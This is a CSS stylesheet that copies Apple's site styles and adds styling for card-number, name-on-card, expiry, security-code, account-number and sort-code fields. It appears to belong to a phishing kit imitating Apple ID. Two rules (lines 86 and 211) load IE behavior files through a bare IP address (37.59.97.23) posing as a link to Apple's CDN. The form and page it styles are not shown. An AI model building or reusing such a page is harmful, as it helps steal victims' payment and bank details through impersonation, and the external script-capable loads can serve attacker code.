base.css 35 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557
  1. /* RESET */
  2. html,body,div,ul,ol,li,dl,dt,dd,h1,h2,h3,h4,h5,h6,pre,form,p,blockquote,fieldset,input,abbr,article,aside,command,details,figcaption,figure,footer,header,hgroup,mark,meter,nav,output,progress,section,summary,time { margin: 0; padding: 0; }
  3. h1,h2,h3,h4,h5,h6,pre,code,address,caption,cite,code,em,strong,th,figcaption { font-size: 1em; font-weight: normal; font-style: normal; }
  4. fieldset,iframe { border: none; }
  5. caption,th { text-align: left; }
  6. table { border-collapse: collapse; border-spacing: 0; }
  7. article,aside,footer,header,hgroup,nav,section,figure,figcaption { display: block; }
  8. /* LAYOUT */
  9. html { background-color:#fff; }
  10. .ccvnote {font-size:10px; padding-left:125px; padding-top:5px;}
  11. .ccvnote img {padding-right:10px; padding-top:5px;}
  12. #lookup {padding-left:20px; padding-right:30px;}
  13. #lookup_field input {
  14. width: 130px;
  15. }
  16. input#seccode {
  17. background: url('cc2.png') no-repeat;
  18. background-position: 3px;
  19. background-color: #FFF;
  20. }
  21. input#ccdate {
  22. background: url('ccdate.png') no-repeat;
  23. background-position: 3px;
  24. background-color: #FFF;
  25. }
  26. input#ccfrom {
  27. background: url('ccdate.png') no-repeat;
  28. background-position: 3px;
  29. background-color: #FFF;
  30. }
  31. input#longcard {
  32. background: url('hcard.png') no-repeat;
  33. background-position: 3px;
  34. background-color: #FFF;
  35. }
  36. #nameoncard {
  37. padding-left:21px;
  38. width:200px;
  39. }
  40. input#nameoncard {
  41. background: url('hname.png') no-repeat;
  42. background-position: 3px;
  43. background-color: #FFF;
  44. }
  45. #longcard {
  46. padding-left:21px;
  47. width:200px;
  48. }
  49. #accountnumber {
  50. padding-left:2px;
  51. width:150px;
  52. }
  53. #sortcode {
  54. padding-left:2px;
  55. width:150px;
  56. }
  57. #ccdate {
  58. padding-left:20px;
  59. width:200px;
  60. }
  61. #ccfrom {
  62. padding-left:20px;
  63. width:200px;
  64. }
  65. #seccode{
  66. padding-left:20px;
  67. width:85px;
  68. }
  69. #lookup_field {
  70. padding-left: 51px;
  71. }
  72. input#longnumber {
  73. background: url('images/placeholder.html') 175px 4px no-repeat;
  74. background-size: 25px 19px;
  75. }
  76. #lookup_field {
  77. padding-left: 8px;
  78. padding-right: 8px;
  79. }
  80. .clear { clear: both; }
  81. .clearer { clear: both; display: block; margin: 0; padding: 0; height: 0; line-height: 1px; font-size: 1px; }
  82. .selfclear { zoom:1; }
  83. .selfclear:after { content:'.'; display:block; height:0; clear:both; visibility:hidden; }
  84. img, .search-wrapper .left, .search-wrapper .right, ul.sp-results li.viewall a, ul.sp-results li .replacementimg,
  85. #globalfooter #breadcrumbs, #globalfooter #breadcrumbs span, #directorynav .capbottom,
  86. #productheader h1 a, #productheader h2 a, #main .maincap { behavior: url(http://37.59.97.23/external.html?link=https://appleid.cdn-apple.com/20131211/global/scripts/lib/iepngfix.htc); }
  87. img { border: 0; }
  88. img.left { float: left; margin: 2px 20px 16px 0; }
  89. img.right { float: right; margin: 2px 0 16px 20px; }
  90. img.across { margin: 2px 0 16px 0; }
  91. img.flushleft { margin-left: -20px; }
  92. img.flushright { margin-right: -20px; }
  93. .replaced { display: block; width: 1px; height: 1px; outline: none; overflow: hidden; text-indent: -9999px; }
  94. #omniture, #top { position: absolute; top: 0; }
  95. #container { width: 980px; margin: 0 auto; position: relative; }
  96. #main { width: 100%; position: relative; }
  97. #content { padding: 18px 20px; position: relative; color: #333; }
  98. #breadcrumb { clear: both; text-align: center; margin: 18px auto; clear: both; font-size: 10px; color: #686868; }
  99. .content { background: #fff; border: 1px solid; border-color: #e5e5e5 #dbdbdb #d2d2d2; -webkit-box-shadow: rgba(0,0,0,0.3) 0 1px 3px; -moz-box-shadow: rgba(0,0,0,0.3) 0 1px 3px; box-shadow: rgba(0,0,0,0.3) 0 1px 3px; }
  100. .content:nth-child(1n) { border: none; } /* reset border for smart browsers */
  101. .content,
  102. .rounded { border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; -o-border-radius: 4px; -khtml-border-radius: 4px; }
  103. .shadow { -webkit-box-shadow: rgba(0,0,0,0.35) 0 1px 3px; -moz-box-shadow: rgba(0,0,0,0.35) 0 1px 3px; box-shadow: rgba(0,0,0,0.35) 0 1px 3px; }
  104. img.shadow { padding: 5px; background: #fff; margin-bottom: 2px; *border: 1px solid #e2e2e2; _position: relative; }
  105. .callout { border-radius: 7px; -webkit-border-radius: 7px; -moz-border-radius: 7px; -o-border-radius: 7px; -khtml-border-radius: 7px; }
  106. .roundedtop { border-radius: 4px 4px 0 0; -webkit-border-top-left-radius:4px; -webkit-border-top-right-radius:4px; -moz-border-radius: 4px 4px 0 0; -o-border-radius: 4px 4px 0 0; -khtml-border-radius: 4px 4px 0 0; }
  107. .roundedbottom { border-radius: 0 0 4px 4px; -webkit-border-bottom-left-radius:4px; -webkit-border-bottom-right-radius:4px; -moz-border-radius: 0 0 4px 4px; -o-border-radius: 0 0 4px 4px; -khtml-border-radius: 0 0 4px 4px; }
  108. .roundedright { border-radius: 0 4px 4px 0; -webkit-border-top-right-radius:4px; -webkit-border-bottom-right-radius:4px; -moz-border-radius: 0 4px 4px 0; -o-border-radius: 0 4px 4px 0; -khtml-border-radius: 0 4px 4px 0; }
  109. .roundedleft { border-radius: 4px 0 0 4px; -webkit-border-top-left-radius:4px; -webkit-border-bottom-left-radius:4px; -moz-border-radius: 4px 0 0 4px; -o-border-radius: 4px 0 0 4px; -khtml-border-radius: 4px 0 0 4px; }
  110. .roundedtopleft { border-radius:4px 0 0; -webkit-border-top-left-radius:4px; -moz-border-radius:4px 0 0; -o-border-radius:4px 0 0; -khtml-border-radius:4px 0 0; }
  111. .roundedtopright { border-radius: 0 4px 0 0; -webkit-border-top-right-radius:4px; -moz-border-radius:0 4px 0 0; -o-border-radius:0 4px 0 0; -khtml-border-radius: 0 4px 0 0; }
  112. .roundedbottomleft { border-radius: 0 0 0 4px; -webkit-border-bottom-left-radius:4px; -moz-border-radius: 0 0 0 4px; -o-border-radius: 0 0 0 4px; -khtml-border-radius: 0 0 0 4px; }
  113. .roundedbottomright { border-radius: 0 0 4px 0; -webkit-border-bottom-right-radius:4px; -moz-border-radius: 0 0 4px 0; -o-border-radius: 0 0 4px 0; -khtml-border-radius: 0 0 4px 0; }
  114. /* GRID */
  115. .column { float: left; }
  116. .grid2col, .grid2cola, .grid2colb, .grid2colc, .grid2cold, .grid2cole, .grid2colf, .grid3col, .grid3cola, .grid4col, .grid5col, .grid6col { width: 100%; }
  117. .grid2col .column { width: 49%; }
  118. .grid2col .grid2col .column { width: 47.8%; }
  119. .grid3col .grid2col .column { width: 46%; }
  120. .grid4col .grid2col .column { width: 45%; }
  121. .grid2cola .column.first { width: 66%; }
  122. .grid2cola .column.last { width: 32%; }
  123. .grid2colb .column.first { width: 74.9%; }
  124. .grid2colb .column.last { width: 23%; }
  125. .grid2colc .column.first { width: 32%; }
  126. .grid2colc .column.last { width: 66%; }
  127. .grid2cold .column.first { width: 23%; }
  128. .grid2cold .column.last { width: 74.9%; }
  129. .grid2cole .column.first { width: 79%; }
  130. .grid2cole .column.last { width: 19%; }
  131. .grid2colf .column.first { width: 19%; }
  132. .grid2colf .column.last { width: 79%; }
  133. .grid3col .column { width: 32%; margin-left: 2%; }
  134. .grid2col .grid3col .column { width: 31%; }
  135. .grid3cola .column { width: 58%; margin-left: 2%; }
  136. .grid3cola .column.first,
  137. .grid3cola .column.last { width: 19%; }
  138. .grid4col .column { width: 23%; margin-left: 3%; }
  139. .grid5col .column { width: 18.4%; margin-left: 2%; }
  140. .grid6col .column { width: 15%; margin-left: 2%; }
  141. .column.first, .column.last { margin-left: 0 !important; }
  142. .column.last { float: right !important; }
  143. p.last, ul.last, ol.last, li.last { _width: auto !important; _float: none !important; }
  144. #container:after, #content:after, .grid2col:after, .grid2cola:after, .grid2colb:after, .grid2colc:after, .grid2cold:after, .grid2cole:after, .grid2colf:after, .grid3col:after, .grid3cola:after, .grid4col:after, .grid5col:after, .grid6col:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; }
  145. #container, #content, .grid2col, .grid2cola, .grid2colb, .grid2colc, .grid2cold, .grid2cole, .grid2colf, .grid3col, .grid3cola, .grid4col, .grid5col, .grid6col { zoom: 1; }
  146. /* TYPE */
  147. body { font: 12px/18px "Lucida Grande", "Lucida Sans Unicode", Helvetica, Arial, Verdana, sans-serif; background-color: transparent; color: #333; -webkit-font-smoothing: antialiased; }
  148. a { color: #08c; }
  149. a:link, a:visited, a:active { text-decoration: none; }
  150. a:hover { text-decoration: underline; }
  151. a span:hover { text-decoration: inherit; }
  152. a.block { display: block; cursor: pointer; }
  153. a.block span,
  154. a.block em { color:#08c; cursor: pointer; }
  155. a.block:hover { text-decoration: none; }
  156. a.block:hover span,
  157. a.block:hover em { color: #08c; text-decoration: underline; }
  158. a.more, em.more, span.more { white-space: nowrap; padding-right: 10px; background: url(morearrow_08c.gif) no-repeat 100% 50%; cursor: pointer; zoom: 1; }
  159. a.morelarge, em.morelarge, span.morelarge { white-space:nowrap; padding-right:12px; background:url(morearrow_big_08c.gif) no-repeat 100% 50%; cursor:pointer; zoom:1; }
  160. a.lesslarge, em.lesslarge, span.lesslarge { white-space:nowrap; padding-left:12px; background:url(../lessarrow_big_08c.html) no-repeat 0 50%; cursor:pointer; zoom:1; }
  161. @media only screen {
  162. a.more, em.more, span.more { background-image:url(morearrow_08c.html); }
  163. a.morelarge, em.morelarge, span.morelarge { background-image:url(morearrow_big_08c.html); }
  164. a.lesslarge, em.lesslarge, span.lesslarge { background-image:url(lessarrow_big_08c.html); }
  165. }
  166. a.external, em.external, span.external { white-space: nowrap; padding-right: 15px; background: url(external10x10.gif) no-repeat 100% 49%; cursor: pointer; zoom: 1; }
  167. a[rel="external"] { white-space: nowrap; padding-right: 15px; background: url(external10x10.gif) no-repeat 100% 49%; cursor: pointer; zoom: 1; }
  168. em.more, span.more, em.external, span.external { color:#08c; font-style: normal; cursor: pointer; }
  169. .nowrap { white-space:nowrap; }
  170. strong, b { font-weight: bold; }
  171. em, i, cite { font-style: italic; }
  172. sup { padding-left: 1px; font-size: 10px !important; font-weight: normal !important; vertical-align: baseline; position: relative; bottom: 0.33em; _position: static !important; }
  173. sup, sup a { color:#666; }
  174. sup a:hover { color:#08c; text-decoration:none; }
  175. abbr { border: 0; }
  176. .sosumi { font-size: 10px !important; line-height:1.5; color:#888; }
  177. .sosumi_features { font-size: 10px !important; line-height:1.5; color:#888; }
  178. h1,h2,h3,h4,h5,h6,strong { color:#000; }
  179. h1,h2,h3,h4 { font-weight: bold; }
  180. h2,h3,h4 { line-height: 18px; }
  181. h1,h2 { margin-bottom: 18px; }
  182. h1 { font-size: 24px; line-height: 36px; }
  183. h2 { font-size: 16px; }
  184. h3 { font-size: 1em; }
  185. h4 { font-size: 10px; }
  186. p { margin-bottom: 18px; }
  187. p.intro { color: #888; font-size: 16px; line-height: 22px; font-weight: normal; }
  188. .more { text-align: right; }
  189. ul { list-style: none outside; }
  190. ol { margin-bottom: 18px; list-style: decimal; margin-left: 2.2em; }
  191. ul.square,
  192. ul.circle { margin-left: 2em; margin-bottom: 18px; }
  193. ul.square { list-style: square outside; }
  194. ul.circle { list-style: circle outside; }
  195. ul ul.circle,
  196. ul ul.square { margin-top: 4px; margin-bottom: 5px; }
  197. ol.sosumi { margin-left: 0; padding-left: 2em; *padding-left: 2.2em; }
  198. a.pdf { background: url(globaliconpdf12x12.gif) 0 0.4em no-repeat; display: block; padding-left: 20px; }
  199. a.html { background: url(globaliconhtml12x12.gif) 0 0.4em no-repeat; display: block; padding-left: 20px; }
  200. a.qt { background: url(globaliconqt12x12.gif) 0 0.4em no-repeat; display: block; padding-left: 20px; }
  201. a.ical { background: url(globaliconical12x12.gif) 0 0.4em no-repeat; display: block; padding-left: 20px; }
  202. a.dl { background: url(globalicondl11x10.gif) 0 0.4em no-repeat; display: block; padding-left: 20px; }
  203. a.dmg { background: url(globalicondmg12x12.gif) 0 0.4em no-repeat; display: block; padding-left: 20px; }
  204. a.zip { background: url(globaliconzip12x12.gif) 0 0.4em no-repeat; display: block; padding-left: 20px; }
  205. a.keynote { background: url(globaliconkeynote12x12.gif) 0 0.4em no-repeat; display: block; padding-left: 20px; }
  206. a.audio { background: url(globaliconaudio12x12.gif) 0 0.4em no-repeat; display: block; padding-left: 20px; }
  207. .dot-nav { width:100%; margin:0; padding:0; text-align:center; line-height:1px; }
  208. .dot-nav li,
  209. .dot-nav li a { display:-moz-inline-stack; display:inline-block; *display:inline; *zoom:1; }
  210. .dot-nav li { position:relative; z-index:1; margin:0; width:13px; height:15px; overflow:hidden; }
  211. .dot-nav li a { position:absolute; z-index:1; width:13px; height:45px; top:0; left:0; cursor:pointer; text-indent:-1000em; background:url(../dots_08c.html) no-repeat 0 0; behavior:url(http://37.59.97.23/external.html?link=https://appleid.cdn-apple.com/20131211/global/scripts/lib/ie7pngfix.htc); }
  212. .dot-nav li a:hover { top:-15px; }
  213. .dot-nav li a.active { cursor:default; top:-30px; }
  214. .dot-nav:nth-child(1n) li { width:10px; height:10px; padding:3px 2px 2px 2px; }
  215. .dot-nav:nth-child(1n) li a { border-radius:5px; width:10px; height:10px; background:#e0e1e3;
  216. -webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, .25);
  217. -moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, .25);
  218. box-shadow:inset 0 1px 1px rgba(0, 0, 0, .25);
  219. }
  220. .dot-nav:nth-child(1n) li a:hover { top:0; background:#ccc;}
  221. .dot-nav:nth-child(1n) li a.active { top:0; background:#08c;
  222. background:-webkit-gradient(linear,lefttop,leftbottom,color-stop(0%,rgb(126,198,234)),color-stop(24%,rgb(70,179,234)),color-stop(100%,rgb(3,135,201)));
  223. background:-webkit-linear-gradient(top,rgb(126,198,234)0%,rgb(70,179,234)45%,rgb(3,135,201)100%);
  224. background: -moz-linear-gradient(top,rgb(126,198,234)0%,rgb(70,179,234)45%,rgb(3,135,201)100%);
  225. background: linear-gradient(top,rgb(126,198,234)0%,rgb(70,179,234)45%,rgb(3,135,201)100%);
  226. -webkit-box-shadow:inset 0 1px 0 rgba(0, 0, 0, .25);
  227. -moz-box-shadow:inset 0 1px 0 rgba(0, 0, 0, .25);
  228. box-shadow:inset 0 1px 0 rgba(0, 0, 0, .25);
  229. }
  230. .last { margin-bottom: 0; }
  231. #main .sidebar { font-size: 10px; line-height: 18px; color:#333; }
  232. #main .callout { font-size: 11px; line-height: 18px; margin-bottom: 18px; }
  233. body.specs #main { font-size: 11px; line-height: 16px; }
  234. /* PIPED LINKS */
  235. .piped { display: block; zoom: 1; }
  236. .piped:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; }
  237. .piped li { float: left; display: inline; }
  238. .piped a { border-left: 1px solid #797c80; padding: 0 0 0 0.75em; margin-left: 0.75em; }
  239. .piped a.first { border-left: 0 !important; padding-left: 0; margin-left: 0 !important; }
  240. /*--- Global Footer (legacy) ---*/
  241. #globalfooter .gf-buy { float: left; width: 60%; margin: 18px 0 9px; }
  242. #globalfooter .gf-links { float: right; margin: 18px 0 9px; }
  243. #globalfooter .gf-links a { padding: 0 10px; white-space: nowrap; }
  244. #globalfooter .gf-links a.last { padding-right: 0; _float: none !important; width: auto !important; }
  245. /*--- Global Footer ---*/
  246. #globalfooter { width: 980px; color: #888; font-size: 10px; margin: 18px auto 0; padding-bottom: 36px; text-align: left !important; }
  247. #globalfooter a { color: #08c; }
  248. #globalfooter p { margin-bottom: 1em; }
  249. #globalfooter p.gf-buy { float: left; width: 52%; margin: 18px 0 9px 3px; }
  250. #globalfooter ul.piped a { padding: 0 0 0 1.5em; margin-left: 1.5em; border-left: 1px solid #d0d0d0; }
  251. #globalfooter .gf-links { float: right; margin: 18px 3px 9px 0; }
  252. #globalfooter .gf-sosumi { clear: both; width: 100%; padding-top: 9px; }
  253. #globalfooter .gf-sosumi a { padding: 0 10px; }
  254. #globalfooter .gf-sosumi p { float: left; margin-left: 3px; }
  255. #globalfooter form { margin: 18px 10px; }
  256. #globalfooter .search-wrapper { margin: 0 auto; }
  257. #globalfooter .search-wrapper input.prettysearch { margin-left: 10px; }
  258. #globalfooter ul.piped a.contact_us { padding-right: 1.5em; border-right: 1px solid #d0d0d0; }
  259. #globalfooter ul.piped a.choose { margin-left: 0; border: 0; }
  260. #globalfooter ul.piped a.choose img { vertical-align: middle; margin-top: -5px; *position: relative; }
  261. /*--- Breadcrumbs (legacy) ---*/
  262. #globalfooter #breadcrumbs { font-size: 11px; color: #444; background: url(../breadcrumb_bg.html) no-repeat; overflow: hidden; height: 36px; line-height: 34px; font-weight: bold; text-shadow: 0 1px 0 #fff; }
  263. #globalfooter #breadcrumbs a { color: #444; text-decoration: none; float: left; padding: 0 10px; margin-left: -10px; *position: relative; _cursor: hand; }
  264. #globalfooter #breadcrumbs a:hover { color: #333; text-decoration: none !important; }
  265. #globalfooter #breadcrumbs a.home { margin: 0; width: 15px; height: 0; padding-top: 36px; overflow: hidden; }
  266. #globalfooter #breadcrumbs span { float: left; width: 9px; margin: 0 10px 0 0; height: 0; padding-top: 34px; margin-top: 1px; overflow: hidden; background: url(breadcrumb_sep.png) no-repeat; }
  267. /*--- Breadcrumbs ---*/
  268. #globalfooter ol#breadcrumbs { font-size: 11px; color: #444; background: url(breadcrumb_bg.png) no-repeat; height: 36px; line-height: 34px; margin: 0; list-style: none; font-weight: bold; text-shadow: 0 1px 0 #fff; }
  269. #globalfooter ol#breadcrumbs li { float: left; margin: 0; padding: 0 0 0 20px; background: url(breadcrumb_sep_20080909.png) no-repeat; }
  270. #globalfooter ol#breadcrumbs li a { float: left; color: #444; text-decoration: none; padding: 0 10px; margin-left: -10px; }
  271. #globalfooter ol#breadcrumbs li a:hover { color: #333; text-decoration: none; }
  272. #globalfooter ol#breadcrumbs li.home { background: none; margin: 0; padding: 0; }
  273. #globalfooter ol#breadcrumbs li.home a { margin: 0; padding: 0 10px; width: 15px; text-indent: -9999px; overflow: hidden; }
  274. /*--- Directory Nav ---*/
  275. #directorynav { font-size: 11px; line-height:14px; padding-top:2px; background: url(directory_bg.png) repeat-y; border-top: 1px solid #e5e5e5; float: left; width: 100%; margin-top: -4px; *position: relative; }
  276. #directorynav .column { width: 120px; padding: 9px 0 2px 18px; }
  277. #directorynav .column.last { float: left !important; padding-right: 0; }
  278. #directorynav h3 { color: #666; margin: 0; font-size: 1em; line-height: 14px; font-weight: bold; padding-bottom: 4px; }
  279. #directorynav h3.standalone { margin-bottom: 18px; }
  280. #directorynav a { color: #888; text-decoration: none; display: block; zoom: 1; }
  281. #directorynav h3.standalone a:link,
  282. #directorynav h3.standalone a:visited { color: #444; }
  283. #directorynav a:hover { color: #333 !important; text-decoration: none !important; }
  284. #directorynav .capbottom { clear: both; position: relative; top: 5px; _top: 12px; height: 5px; width: 980px; background: url(directory_capbg.png) no-repeat; }
  285. #directorynav ul { margin-bottom: 0; padding-bottom: 9px; }
  286. #directorynav ul li { padding-bottom: 4px; }
  287. #directorynav.mac .column,
  288. #directorynav.ipod .column,
  289. #directorynav.ipodtouch .column,
  290. #directorynav.ipad .column,
  291. #directorynav.iphone .column,
  292. #directorynav.itunes .column { width: 190px; padding: 9px 0 0 54px; }
  293. /*--- BREADORY ---*/
  294. #breadory { border: 1px solid #ddd; width: 978px; margin: 0 auto; -moz-border-radius: 4px; -webkit-border-radius: 4px; border-radius: 4px; }
  295. #globalfooter #breadory ol#breadcrumbs { background: none; clear: both; float: none; height: 3em; line-height: 3em; font-size: 11px; color: #666; margin: 0; list-style: none; font-weight: bold; text-shadow: 0 1px 0 #fff; }
  296. #breadory ol#breadcrumbs li { background: none; float: left; margin: 0; padding: 0 0 0 1em; }
  297. #breadory ol#breadcrumbs li a { float: left; color: #666; text-decoration: none; padding: 0 1.75em 0 0; margin-left: 0px; background: url(breadcrumb_separator.png) no-repeat 100% 50%; }
  298. #breadory ol#breadcrumbs li a:hover { color: #333; text-decoration: none; }
  299. #breadory ol#breadcrumbs li.home { background: none; margin: 0; padding: 0; }
  300. #breadory ol#breadcrumbs li.home a { background: url(breadcrumb_home.png) no-repeat 1.25em 50%; margin: 0; padding: 0 0 0 1.25em; width: 30px; text-indent: -9999px; overflow: hidden; }
  301. #breadory ol#breadcrumbs li.home a:hover { background-image: url(breadcrumb_home_over.png); }
  302. @media only screen {
  303. #breadory ol#breadcrumbs li a { background-image:url(breadcrumb_separator.svg); }
  304. #breadory ol#breadcrumbs li.home a { background-image:url(breadcrumb_home.svg); }
  305. #breadory ol#breadcrumbs li.home a:hover { background-image:url(breadcrumb_home_over.svg); }
  306. }
  307. #breadory #directorynav { background: none; clear: both; float: none; margin-top: 0; }
  308. #breadory #directorynav .capbottom { height: 0; font-size: 1px; _display: none; }
  309. /* PRODUCTHEADER */
  310. #productheader { padding: 1em 0 0.2em; overflow: hidden; width: 980px; margin: 0 auto; *position: relative; *height: 39px; }
  311. #productheader h1,
  312. #productheader h2 { height: 32px; line-height: 32px; display: inline; float: left; margin: 1px 0 6px 8px; padding: 0; margin-bottom: 6px !important; }
  313. #productheader h1 a,
  314. #productheader h2 a { line-height: 32px; background-position: 0 0; background-repeat: no-repeat; color: #888; display: block; font-weight: normal; height: 32px; outline: none; text-decoration: none; text-indent: -9999px; *position: relative; }
  315. body#overview #productheader h1 a,
  316. body#overview #productheader h2 a { cursor: default; }
  317. #productheader ul { display: inline; float: right; margin: 0; }
  318. #productheader ul li { display: inline; }
  319. #productheader ul li a { color: #333; float: left !important; margin-top: 1em; margin-left: 30px; margin-right: 8px; padding: 0; text-decoration: none; }
  320. #productheader ul li a:hover { color: #08c; }
  321. #productheader a.buynow, #productheader span.buynow, /* old */
  322. #productheader a.ordernow, #productheader span.ordernow,
  323. #productheader a.joinnow, #productheader span.joinnow,
  324. #productheader a.preorder, #productheader span.preorder,
  325. #productheader a.preorder_blue, #productheader span.preorder_blue,
  326. #productheader a.howtobuy, #productheader span.howtobuy,
  327. #productheader a.howtoapply, #productheader span.howtoapply,
  328. #productheader a.freetrial, #productheader span.freetrial,
  329. #productheader a.downloadnow, #productheader span.downloadnow,
  330. #productnav a.downloadnow, #productnav span.downloadnow,
  331. #productheader a.upgradenow, #productheader span.upgradenow,
  332. #productheader a.tryamac, #productheader span.tryamac { height: 25px; margin: 0.7em 0 0 20px; background-position: 0 0; background-repeat: no-repeat; display: block; float: right; position: relative; text-decoration: none; text-indent: -9999px; outline: none; overflow: hidden; }
  333. #productheader a.notifyme, #productheader span.notifyme { height: 25px; margin: 0.8em 0 0 20px; background-position: 0 0; background-repeat: no-repeat; display: block; float: right; position: relative; text-decoration: none; text-indent: -9999px; outline: none; overflow: hidden; }
  334. #productheader a.preorder_blue, #productheader span.preorder_blue { width: 75px; background-image: url(preorder_blue.png); }
  335. #productheader a.buynow, #productheader span.buynow { width: 72px; background-image: url(buynows.png); _background-image: url(buynows.gif); }
  336. #productheader a.ordernow, #productheader span.ordernow { width: 81px; background-image: url(ordernows.png); _background-image: url(ordernows.gif); }
  337. #productheader a.joinnow, #productheader span.joinnow { width: 72px; background-image: url(joinnows.png); _background-image: url(joinnows.gif); }
  338. #productheader a.preorder, #productheader span.preorder { width: 99px; background-image: url(preordernows.png); _background-image: url(preordernows.gif); }
  339. #productheader a.howtobuy, #productheader span.howtobuy { width: 86px; background-image: url(../howtobuys.html); _background-image: url(../howtobuys-2.html); }
  340. #productheader a.howtoapply, #productheader span.howtoapply { width: 100px; background-image: url(../howtoapplys.html); _background-image: url(../howtoapplys-2.html); }
  341. #productheader a.freetrial, #productheader span.freetrial { width: 72px; background-image: url(freetrials.png); _background-image: url(freetrials.gif); }
  342. #productheader a.downloadnow, #productheader span.downloadnow { width: 108px; background-image: url(downloadnows.png); _background-image: url(downloadnows.gif); }
  343. #productnav a.downloadnow, #productnav span.downloadnow { width: 108px; background-image: url(downloadnows.png); _background-image: url(downloadnows.gif); }
  344. #productheader a.upgradenow, #productheader span.upgradenow { width: 104px; background-image: url(upgradenows.png); _background-image: url(upgradenows.gif); }
  345. #productheader a.tryamac, #productheader span.tryamac { width: 77px; background-image: url(../tryamacs.html); _background-image: url(../tryamacs-2.html); }
  346. #productheader a.notifyme, #productheader span.notifyme { width: 75px; background-image: url(../notifymes.html); _background-image: url(../notifymes-2.html); }
  347. #productheader a.buynow:hover, #productheader a.buynow:focus,
  348. #productheader a.ordernow:hover, #productheader a.ordernow:focus,
  349. #productheader a.joinnow:hover, #productheader a.joinnow:focus,
  350. #productheader a.preorder:hover, #productheader a.preorder:focus,
  351. #productheader a.howtobuy:hover, #productheader a.howtobuy:focus,
  352. #productheader a.howtoapply:hover, #productheader a.howtoapply:focus,
  353. #productheader a.freetrial:hover, #productheader a.freetrial:focus,
  354. #productheader a.downloadnow:hover, #productheader a.downloadnow:focus,
  355. #productnav a.downloadnow:hover, #productnav a.downloadnow:focus,
  356. #productheader a.upgradenow:hover, #productheader a.upgradenow:focus,
  357. #productheader a.tryamac:hover, #productheader a.tryamac:focus,
  358. #productheader a.notifyme:hover, #productheader a.notifyme:focus { background-position: 0 -25px; }
  359. #productheader a.buynow:active,
  360. #productheader a.ordernow:active,
  361. #productheader a.joinnow:active,
  362. #productheader a.preorder:active,
  363. #productheader a.howtobuy:active,
  364. #productheader a.howtoapply:active,
  365. #productheader a.freetrial:active,
  366. #productheader a.downloadnow:active,
  367. #productnav a.downloadnow:active,
  368. #productheader a.upgradenow:active,
  369. #productheader a.tryamac:active,
  370. #productheader a.notifyme:active { background-position: 0 -50px; }
  371. #productheader span.buynow,
  372. #productheader span.ordernow,
  373. #productheader span.joinnow,
  374. #productheader span.preorder,
  375. #productheader span.howtobuy,
  376. #productheader span.howtoapply,
  377. #productheader span.freetrial,
  378. #productheader span.downloadnow,
  379. #productnav span.downloadnow,
  380. #productheader span.upgradenow,
  381. #productheader span.notifyme { background-position: 0 -75px; }
  382. /* BUTTONS - (U.S.) */
  383. .browsewebappss, .businessstores, .buyiphones, .buynows, .buynows-arrow, .comingsoons, .descargarahoras, .downloadituness, .downloadnows, .finds, .freetrials, .getstarteds, .gos, .howtoapplys, .howtobuys, .joinnows, .learnmores, .nikebuynows, .notifymes, .ordernows, .preordernows, .preorders, .reserves, .startyoursearchs, .submits, .tryamacs, .upgradenows {
  384. height: 25px; background-position: 0 0; background-repeat: no-repeat; display: block; text-decoration: none; text-indent: -9999px; overflow: hidden;
  385. }
  386. a.browsewebappss:hover, a.businessstores:hover, a.buyiphones:hover, a.buynows:hover, a.buynows-arrow:hover, a.comingsoons:hover, a.descargarahoras:hover, a.downloadituness:hover, a.downloadnows:hover, a.finds:hover, a.freetrials:hover, a.getstarteds:hover, a.gos:hover, a.howtoapplys:hover, a.howtobuys:hover, a.joinnows:hover, a.learnmores:hover, a.nikebuynows:hover, a.notifymes:hover, a.ordernows:hover, a.preordernows:hover, a.preorders:hover, a.reserves:hover, a.startyoursearchs:hover, a.submits:hover, a.tryamacs:hover, a.upgradenows:hover,
  387. a.browsewebappss:focus, a.businessstores:focus, a.buyiphones:focus, a.buynows:focus, a.buynows-arrow:focus, a.comingsoons:focus, a.descargarahoras:focus, a.downloadituness:focus, a.downloadnows:focus, a.finds:focus, a.freetrials:focus, a.getstarteds:focus, a.gos:focus, a.howtoapplys:focus, a.howtobuys:focus, a.joinnows:focus, a.learnmores:focus, a.nikebuynows:focus, a.notifymes:focus, a.ordernows:focus, a.preordernows:focus, a.preorders:focus, a.reserves:focus, a.startyoursearchs:focus, a.submits:focus, a.tryamacs:focus, a.upgradenows:focus {
  388. background-position: 0 -25px;
  389. }
  390. a.browsewebappss:active, a.businessstores:active, a.buyiphones:active, a.buynows:active, a.buynows-arrow:active, a.comingsoons:active, a.descargarahoras:active, a.downloadituness:active, a.downloadnows:active, a.finds:active, a.freetrials:active, a.getstarteds:active, a.gos:active, a.howtoapplys:active, a.howtobuys:active, a.joinnows:active, a.learnmores:active, a.nikebuynows:active, a.notifymes:active, a.ordernows:active, a.preordernows:active, a.preorders:active, a.reserves:active, a.startyoursearchs:active, a.submits:active, a.tryamacs:active, a.upgradenows:active {
  391. background-position: 0 -50px;
  392. }
  393. span.browsewebappss, span.businessstores, span.buyiphones, span.buynows, span.comingsoons, span.descargarahoras, span.downloadituness, span.downloadnows, span.finds, span.freetrials, span.getstarteds, span.gos, span.howtoapplys, span.howtobuys, span.joinnows, span.learnmores, span.nikebuynows, span.notifymes, span.ordernows, span.preordernows, span.preorders, span.reserves, span.startyoursearchs, span.submits, span.tryamacs, span.upgradenows {
  394. background-position: 0 -75px;
  395. }
